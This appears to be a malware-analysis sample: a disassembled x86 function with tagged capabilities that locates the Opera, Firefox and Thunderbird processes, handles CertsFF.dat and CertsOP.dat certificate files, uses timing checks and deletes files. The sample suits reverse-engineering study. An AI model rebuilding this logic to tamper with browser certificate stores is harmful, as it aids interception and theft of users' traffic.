Function at 0x4a4c1c
Capabilities:
Check for time delay via gettickcount
Delete file
Encode data using xor

Disassembly:
push 0x8c
mov eax, 0x4cfdc7
call fcn.004b9d3c
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x90], ecx
and dword [ebp - 4], 0
mov byte [ebp - 4], 2
call fcn.004a945a
mov edi, eax
cmp edi, 0xc
je 0x4a4c50
cmp edi, 0xe
jne 0x4a4c57
mov byte [0x526030], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, esi
cdq
mov esi, eax
xor esi, edx
sub esi, edx
je 0x4a4c57
mov edx, esi
lea ecx, [ebp - 0x44]
call fcn.004a97ec
mov byte [ebp - 4], 3
cmp dword [eax + 0x14], 0x10
jb 0x4a4c87
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004a0551
mov edx, esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x8c]
call fcn.004a97ec
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.004a05a5
mov ebx, eax
lea ecx, [ebp - 0x8c]
neg ebx
sbb bl, bl
xor esi, esi
push esi
push 1
call fcn.004a07fa
push esi
inc bl
lea ecx, [ebp - 0x2c]
push 1
sete bl
call fcn.004a07fa
push esi
push 1
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.004a07fa
test bl, bl
je 0x4a4d05
xor ebx, ebx
lea ecx, [ebp + 8]
push ebx
push 1
call fcn.004a07fa
push ebx
push 1
lea ecx, [ebp + 0x20]
call fcn.004a07fa
xor eax, eax
inc eax
jmp 0x4a4fe0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004a0551
mov byte [ebp - 4], 5
call fcn.004ab7c0
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.004acfe0
xor ebx, ebx
mov byte [ebp - 4], 2
push esi
inc ebx
lea ecx, [ebp - 0x2c]
push ebx
call fcn.004a07fa
cmp edi, 0xa
jle 0x4a4d5b
call fcn.004ab7c0
push dword [ebp - 0x98]
mov ecx, eax
push dword [ebp - 0x90]
call fcn.004acf10
call fcn.004ab7c0
mov ecx, eax
call fcn.004acee0
push str.opera.exe
lea ecx, [ebp - 0x2c]
call fcn.004a0551
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.004a96a3
test al, al
mov byte [ebp - 4], 2
push esi
push ebx
lea ecx, [ebp - 0x2c]
sete byte [ebp - 0x90]
call fcn.004a07fa
push str.firefox.exe
lea ecx, [ebp - 0x2c]
call fcn.004a0551
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 7
call fcn.004a96a3
test al, al
mov byte [ebp - 4], 2
push esi
push ebx
lea ecx, [ebp - 0x2c]
sete byte [ebp - 0x91]
call fcn.004a07fa
push str.thunderbird.exe
lea ecx, [ebp - 0x2c]
call fcn.004a0551
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.004a96a3
test al, al
lea ecx, [ebp - 0x2c]
push esi
push ebx
sete byte [ebp - 0x98]
call fcn.004a07fa
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
push dword [ebp - 0x90]
mov dl, byte [ebp - 0x91]
lea ecx, [ebp - 0x20]
push dword [ebp - 0x98]
mov byte [ebp - 4], 9
call fcn.004a4fe6
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xa
call fcn.004a5aaa
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
call fcn.004a5de6
push str.CertsFF.dat
lea ecx, [ebp - 0x2c]
call fcn.004a0551
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x5c]
call fcn.004a9570
xor esi, esi
mov byte [ebp - 4], 0xd
push esi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.004a07fa
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [ebp - 0x38]
mov esi, edi
mov dword [ebp - 0x90], eax
cmp esi, dword [ebp - 0x34]
je 0x4a4eca
cmp dword [esi + 0x14], 0x10
jb 0x4a4e83
mov ecx, dword [esi]
jmp 0x4a4e85
mov ecx, esi
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push str.firefox.exe
cmovae eax, dword [ebp - 0x5c]
push ecx
push eax
call fcn.004ae5c0
test al, al
je 0x4a4eb2
call fcn.004b2a70
lea ecx, [ebp - 0x5c]
push ecx
mov ecx, eax
call fcn.004b2a80
jmp 0x4a4ed0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x90]
cmp eax, 0x3e8
ja 0x4a4eca
add esi, 0x18
jmp 0x4a4e74
xor eax, eax
test al, al
je 0x4a4ef1
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5c]
call fcn.004a547e
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmovae eax, dword [ebp - 0x5c]
push eax
call esi
jmp 0x4a4ef7
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.CertsOP.dat
lea ecx, [ebp - 0x8c]
call fcn.004a0551
lea edx, [ebp - 0x8c]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x74]
call fcn.004a9570
push 0
push ebx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x10
call fcn.004a07fa
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x90], eax
cmp edi, dword [ebp - 0x34]
je 0x4a4f81
cmp dword [edi + 0x14], 0x10
jb 0x4a4f46
mov ecx, dword [edi]
jmp 0x4a4f48
mov ecx, edi
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
push str.opera.exe
cmovae eax, dword [ebp - 0x74]
push ecx
push eax
call fcn.004ae5c0
test al, al
je 0x4a4fa3
call fcn.004b2a70
lea ecx, [ebp - 0x74]
push ecx
mov ecx, eax
call fcn.004b2c70
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
call esi
push 0
push ebx
lea ecx, [ebp - 0x74]
call fcn.004a07fa
push 0
push ebx
lea ecx, [ebp - 0x5c]
call fcn.004a07fa
lea ecx, [ebp - 0x38]
call fcn.004a5de6
xor eax, eax
jmp 0x4a4fc9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x90]
cmp eax, 0x3e8
ja 0x4a4f81
add edi, 0x18
jmp 0x4a4f37
push eax
push ebx
lea ecx, [ebp + 8]
call fcn.004a07fa
push 0
push ebx
lea ecx, [ebp + 0x20]
call fcn.004a07fa
mov eax, ebx
call fcn.004b9c8e
ret